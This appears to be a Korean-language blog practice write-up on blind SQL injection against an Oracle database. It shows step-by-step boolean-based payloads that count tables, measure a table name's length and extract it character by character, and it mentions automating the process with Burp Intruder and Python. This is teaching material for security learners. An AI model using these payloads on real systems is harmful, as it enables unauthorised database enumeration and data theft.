Blind SQL Injection
Step 1. Blind SQL Injection을 이용하여 테이블 개수 확인
| Query |
| 영등포동8%' and (select count(table_name) from all_tables)>110-- |

다음과 같은 쿼리를 통해서 테이블의 개수를 확인할 수 있다. ‘and’를 사용해서 다음 값이 참값이면 영등포동8을 조회하게 되고 거짓이 되면 아무값도 뜨지 않게된다. 110일 때 출력되고 111이 되는 순간 출력이 안되는것으로 보아 111개인 것을 확인할 수 있다.
Step 2. 50번째 테이블 이름 길이 확인
| Query |
| 영등포동8%' and length((select table_name from (select table_name, rownum as rnum from all_tables) where rnum=50)) > 20-- |

다음과 같이 length을 사용해서 50번째 테이블의 문자열 길이를 확인했다. 20번째까지 결과가 나오는 것을 보아 문자열 길이는 21이다.
Step 3-1. 50번째 테이블 이름 확인
| Query |
| 영등포동8%' and (ASCII(substr((select table_name from(select table_name, rownum as rnum from all_tables) where rnum=50),1,1))>78)-- |

다음과 같이 쿼리를 입력하면 입력하는 RNUM의 번호번째에 있는 테이블을 확인할 수 있다. substr(string,1,1)으로 하면 첫번째 문자, substr(string,2,1)을 하게 되면 두번째 문자, 이렇게 숫자를 증가시키면서 문자를 합쳐 테이블 이름을 가진 문자열을 생성할 수 있다. 하나씩 확인하게 되면 다음과 같은 문자열을 얻을 수 있다.
다음과 같은 테이블 이름을 얻을 수 있다.
| Query |
| 영등포동8%' and (select table_name from(select table_name, rownum as rnum from all_tables) where rnum=50)='OGIS_GEOMETRY_COLUMNS'-- |

다음과 같은 쿼리를 넣으면 참값이므로 결과값이 맞다는 것을 확인할 수 있다.
테이블 이름: OGIS_GEOMETRY_COLUMNS
Step 3-2. Burp suite Intruder사용

Blind SQL Injection의 경우 하나씩 확인해야하는 어려움이 있기 때문에 시간이 무척 오래걸린다. 그래서 Burpsuite에 있는 intruder을 사용하여 결과를 확인할 수도 있다. 다음과 같이 실행하면 영등포동이 출력이 안되는 순간 Intruder의 Length가 작게 나온다.

위의 그림에서 Payload2를 문자로 바꾸면 결과값이 나오게 된다.
테이블명: OGIS_GEOMETRY_COLUMNS
Step 3-3. Burp suite Intruder사용

다음과 같이 Python 코드를 작성하여도 결과 출력이 가능하다. Burpsuite로 잡은 헤더값을 넣어야 한다.

'웹 보안 > SQLi' 카테고리의 다른 글
| Error-Based SQL Injection 실습 (0) | 2025.05.08 |
|---|---|
| Union SQL Injection 실습 (0) | 2025.05.08 |
| SQL Injection(SQLi) (0) | 2025.04.07 |